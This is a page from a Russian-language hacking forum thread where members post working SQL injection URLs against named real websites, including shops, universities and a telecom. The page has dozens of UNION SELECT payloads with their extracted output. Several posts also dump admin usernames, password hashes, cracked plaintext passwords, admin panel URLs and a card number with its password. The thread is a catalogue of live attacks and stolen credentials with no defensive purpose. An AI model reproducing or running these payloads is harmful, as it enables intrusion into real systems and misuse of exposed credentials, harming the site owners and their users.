SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    ОАО "Транстелеком"
    Code:
    Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) 
    Code:
    BillSystem
    Code:
    CC_Client

    все таблы

    и например номер карты и пасс
    Code:
    № 8536****:85366849:849652
     
    1 person likes this.
  2. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    edu, PR=7
    Database Version: 5.0.77
    Database name: w_news
    User name: [email protected]
     
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Сайт студенческого научного общества Белорусского государственного медицинского университета




    http://snobsmu.com/news.php?id=1&tab=vnbol&sector_id=-9+union+select+concat_ws(0x3a,version(),user(), database())--


    5.0.67-community:snobsmu_boss@localhost:snobsmu_main
     
    _________________________
    #9003 HAXTA4OK, 30 Apr 2009
    Last edited: 30 Apr 2009
  4. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<SITC.ru: Новости высоких технологий>>
    Code:
    http://www.sitc.ru/index.php?id=99999999999999'+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3--+
    4.0.26-log:sitc:sitc@localhost:portbld-freebsd5.2.1
     
  5. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Target: www.fashionguide.dk

    Evil link: http://www.fashionguide.dk/international/news/news.php?id=871+union+select+concat_ws(0x203a20,version(),database(),user(),@@version_compile_os)--+

    Info:
    version: 5.0.67
    database: look4fashion_dk_db
    user: look4fashion@localhost
    OS: redhat-linux-gnu


    Admin:
    bdm:ef19cf2f9c2faeb520542022e35f1cfe (pass: hestesko)
     
    1 person likes this.
  6. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Грузинская Экономическая Академия(Тбилиси)
    Code:
    http://www.ael.ge/geo/viewsyllabus.php?id=-1+union+select+1,2,3,concat_ws(0x203a20,user(),
    version(),database()),5,6
    user: ael_edu_ge@localhost
    version: 4.0.27
    database: ael_edu_ge

    _____________________________

    Грузинский форум программистов

    HTML:
    http://portal.soft.ge/main.php?section_id=3&
    script_id=2&
    file_id=-1+union+select+1,,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    _____________________________

    Code:
    http://www.mersinozelidare.gov.tr/sayfa_icerik.php?yol=0_3+union+select+1,2,3,4
    ,5,6,7,8,9,10/*
    _____________________________
     
    2 people like this.
  7. Rav1n

    Rav1n Elder - Старейшина

    Joined:
    5 Nov 2008
    Messages:
    7
    Likes Received:
    21
    Reputations:
    11
    Code:
    http://www.podvesnoi.ru/catalog.php?group=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
    version: 4.1.22-log
    database: wwwpodvesnoiru_podvesnoi
    user: podvesno@localhos
    ____________

    Code:
    http://www.7sun.ru/index.php?action=catalog&act=view&id=-53+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--
    version: 5.0.51
    database: s7sun
    user: s7sun@localhost
    ____________

    Code:
    http://www.tehnikavdom.ru/ishop.php?s=catalog&id=-46+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--
    version: 5.0.75-log
    database: vdomdk1u_tehnika
    user: [email protected]
     
  8. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.natural-immunogenics.com/news_detail.php?NewsID=7+union+select+1,2,version(),4,5,6,7,8+limit+1,1/*
    version():4.1.22
    database():naturalimm
    user():niuser@localhost
     
  9. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Code:
    http://www.disy.org/activecoach/produkte/produkt.php?ID=100+union+select+1,2,
    3,4,5,6,7,8
    ,concat_ws(0x3a20203a,version(),user(),
    database())--
    version:4.0.18-nt
    user:AK51@WEBSERVER1
    database:ak51

    _________________________________
    Code:
    http://www.hollybaby.org/news.php?id=-1+union+select+1,concat_ws(0x203a20,
    user(),version(),database()),3,4,5,6,7,8,9--
    version:4.0.15-nt
    user:[email protected]
    database:tronslien
     
  10. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.anunturiutilajeconstructii.ro/detal.php?id=-737+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,version(),database(),user()),20,21,22,23,24,25,26-- 
    5.0.77-community:utilcon_anunturi:utilcon_alin881@localhost
    Code:
    http://www.esunaganga.com/articulos.promocionales/show.detal.php?id=-355+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12--
    4.1.22-standard:ganga_ganga2:ganga_gangaus@localhost
    Code:
    http://www.marcopolo.dk/php/rejser/detal.php?id=580+and+substring(@@version,1,1)=5
    Code:
    http://mapy.com.pl/index.php?right=detal.php&id=974+and+substring(@@version,1,1)=5
     
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    что то про армейцев ЦСКА

    http://www.peski.ru/index.php?action=stadium&id=-1+union+select+1,2,concat_ws(0x3a,version(),user(), database()),4,5,6,7,8,9,10,11--


    4.0.27-log:p[email protected]:peski

    ТИЦ: 180
    PR: 5


    http://www.kordek.ru/news.php?id=-1'+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4/*

    5.0.33:us5136j@localhost:db5136j

    www.kordek.ru
    ТИЦ: 130
    PR: 4

    http://www.eurobabyshop.ru/divisions.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(), user(),database()),5,6--

    5.0.67-log:[email protected]:u31546

    есть табла phpbb Но форум не нашел =\
    http://www.eurobabyshop.ru/divisions.php?id=-1+union+select+1,2,3,table_name, 5,6+from+information_schema.tables--

    ТИЦ: 130
    PR: 4
     
    _________________________
    #9011 HAXTA4OK, 30 Apr 2009
    Last edited: 30 Apr 2009
  12. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.0.67
    Database name: cyprusvines_com
    User name: root@localhost

    Есть доступ к mysql.user Интересная таблица: cv_user

    Login: root
    Pass: 1a329e5f66335263

    Login: admin
    Pass: 266075ec3b7a2a5b


    Админка:

    http://www.cyprusvines.com/admin

    БД:

    http://www.cyprusvines.com/phpmyadmin



    Database Version: 4.1.20
    Database name: jewishpro_com_-_db
    User name: jpndb@localhost
     
    #9012 .:[melkiy]:., 30 Apr 2009
    Last edited: 30 Apr 2009
    2 people like this.
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    езотерики млин))))

    http://ezoterik.org/v_posveshmagia.php?id=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database())/*

    5.0.32-Debian_7etch6-log:[email protected]:z95723_ezot

    ТИЦ: 70
    PR: 4

    ------------------------------------------------------------------------

    http://www.24sauna.ru/index.php?a=humor&page=-9&id=-1+union+select+1,concat_ws(0x3a,version(),user(), database())--

    5.0.67-log:24sauna_dbu1@localhost:24sauna_db1

    ТИЦ: 10
    PR: 0

    ------------------------------------------------------------------------

    ПРОГРЕСС-СТРОЙ
    Строительство деревянных домов


    http://prog-str.ru/index.php?action=goods&razdel=1&id=-1+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4,5,6,7,8,9,10,11,12--

    5.0.51a-log:[email protected]:dusuy_prog

    ------------------------------------------------------------------------

    http://www.bvnn.ru/indexf.php?act=art&id=-1+union+select+concat_ws(0x3a,version(),user(), database()),2--

    4.1.22-standard:bvnnru_main@localhost:bvnnru_main

    ТИЦ: 20
    PR: 2

    ------------------------------------------------------------------------

    Мир саун )))

    http://www.mir-saun.ru/view_news.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(), database()),4,5,6,7--


    4.0.27-max-log:[email protected]:mirsaun6

    ТИЦ: 20
    PR: 1

    ------------------------------------------------------------------------

    http://www.studio-proekt.ru/quote.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(), user(), database())--

    4.1.22-log:studiop6_dro@localhost:studiop6_studio

    ------------------------------------------------------------------------

    http://www.black-rocks.ru/service.php?ID=-1+union+select+1,concat_ws(0x3a,version(), user(),database()),3,4,5,6,7,8--

    5.0.67-community-log:blackroc_black@localhost:blackroc_blackrocks


    ТИЦ: 10
    PR: 1
    ------------------------------------------------------------------------

    http://nstec.ru/index.php?act=products&id=-1+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4--

    4.1.22:art@localhost:nst

    ТИЦ: 10
    PR: 2
    ------------------------------------------------------------------------
     
    _________________________
    #9013 HAXTA4OK, 30 Apr 2009
    Last edited: 1 May 2009
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://lepel.by/articles_view.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11, 12--

    5.0.32-Debian_7etch5-log:lepelby@localhost:lepelby

    ТИЦ: 20
    PR: 2

    есть форум, колонки и таблу угадал)))))


    http://lepel.by/articles_view.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,username,user_password),7,8,9,10,11,12+from+phpbb_users+limit+ 1,1--


    admin:80fea3c366ba45d21300be6518ca95f0
     
    _________________________
    #9014 HAXTA4OK, 30 Apr 2009
    Last edited: 30 Apr 2009
    1 person likes this.
  15. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://www.art.illinois.edu/news_detail.php?newsid=-65+union+select+1,2,3,4,5,6,7/*
    ---------------------------------
    5.0.45
    ---------------------------------
    art_illinois_edu@localhost
    ---------------------------------
    art_uiuc_edu
    ---------------------------------

    http://www.art.illinois.edu/admin/


    admin : M3an#m
     
    1 person likes this.
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.laborcatalog.ru/articles/viewarticle.php?id=-1+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4,5,6,7,8,9--

    4.1.22-log:laborcat@localhost:wwwlaborcatalogr
     
    _________________________
  17. molotovkeyt

    molotovkeyt Member

    Joined:
    2 Nov 2008
    Messages:
    2
    Likes Received:
    8
    Reputations:
    -1
    PR - 3
    http://www.marketflash.in/post/view_article.php?id=-1921+union+select+1,2,3,4,5,version(),7,8,9,0,1,2,3,4--
    4 ветка.
    Брутить не стал.

    PR - 5
    http://www.headsup.ie/view_article.php?id=-2+union+select+1,version(),3,4,5,6--
    5 ветка.
    Таблица headsup_admin
    Колонки admin_name:admin_real:admin_pass

    decob : Declan Boylan:e93316c5e301f303d588f542ec478228
    пасс - satan!c
    davepyro:davepyro:b1c84f8d672b5d6a84a7a486e81b465a
    пасс - hendrix
    headsupadmin:Admin:5602e2b81315938814373d474c09932a

    Админка - http://www.headsup.ie/admin/index.php
     
    #9017 molotovkeyt, 1 May 2009
    Last edited by a moderator: 1 May 2009
    2 people like this.
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://moto-bike.ru/ss.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6/*
    mataru_moto@localhost:mataru_moto:5.0.26-log
     
  19. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Target: www.cfnielsen.dk

    Evil link: http://www.cfnielsen.dk/news.php?id=-31'+union+select+1,2,3,4,5,6,concat_ws(0x203a20,user(),database(),version(),@@version_compile_os)/*

    Info:
    user: [email protected]
    database: cfnielsen2008
    versuin: 5.0.45
    OS: redhat-linux-gnu - 2
     
  20. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.nolia.se/eurominexpo/index.php?id=9+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8+limit+1,1/*
    version()4.0.27-standard
    database():nolia_0
    user():[email protected]
    __
    Code:
    http://www.jba-design.se/products.php?id=27+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15/*
    version()5.0.45-log
    database():jba_design_se
    user():_design_se@[email protected]
    __
    Code:
    http://www.tepg.se/showtitle.php?id=230+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6+limit+1,1
    version()5.0.51a-24-log
    database():wonderwork_db1
    user():[email protected]

    Code:
    http://www.tepg.se/showtitle.php?id=230+union+select+1,2,concat_ws(0x3a,id,username,password),4,5,6+from+admin+limit+1,1
    1:hdnine:cb7ea8e5ad69ce0be6c3f1f0032dad4a
    __
    Code:
    http://web.sbf.se/regler/visaregler.php?id=1+union+select+1,2,3,4,unhex(hex(concat(0x3a,version(),database(),user()))),6,7,8,9,10,11,12,13,14/*
    version()4.1.11
    database():sbf
    user():sbfweb@localhost
    __
    Code:
    http://www.swedetab.se/visaTab.php?id=1799+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9+limit+1,1/*
    version()5.0.33-log
    database():swedetab
    user():swedetab@localhost
    __
    Code:
    http://www.gggames.se/review.php?id=118+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    version()5.0.32-Debian_7etch10-log
    database():gggames_se
    user():[email protected]
    __
    Code:
    http://www.apavi.lv/e-shop/lat/index.php?page=brand&id=63+union+select+concat_ws(0x3a,version(),database(),user())
    version()4.1.22-standard-log
    database():apavdb
    user():apavadm@localhost

    Code:
    http://www.apavi.lv/e-shop/lat/index.php?page=brand&id=63+union+select+concat_ws(0x3a,id,user,pass,email)+from+users
    35:y00:y00:
    __
    Code:
    http://fast-anime.ru/shop/index.php?p=detail.php&g=18&Id=102%27+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+limit+1,1/*
    version()5.0.32-Debian_7etch8-log
    database():fast2007_shop
    user():[email protected]
     
Thread Status:
Not open for further replies.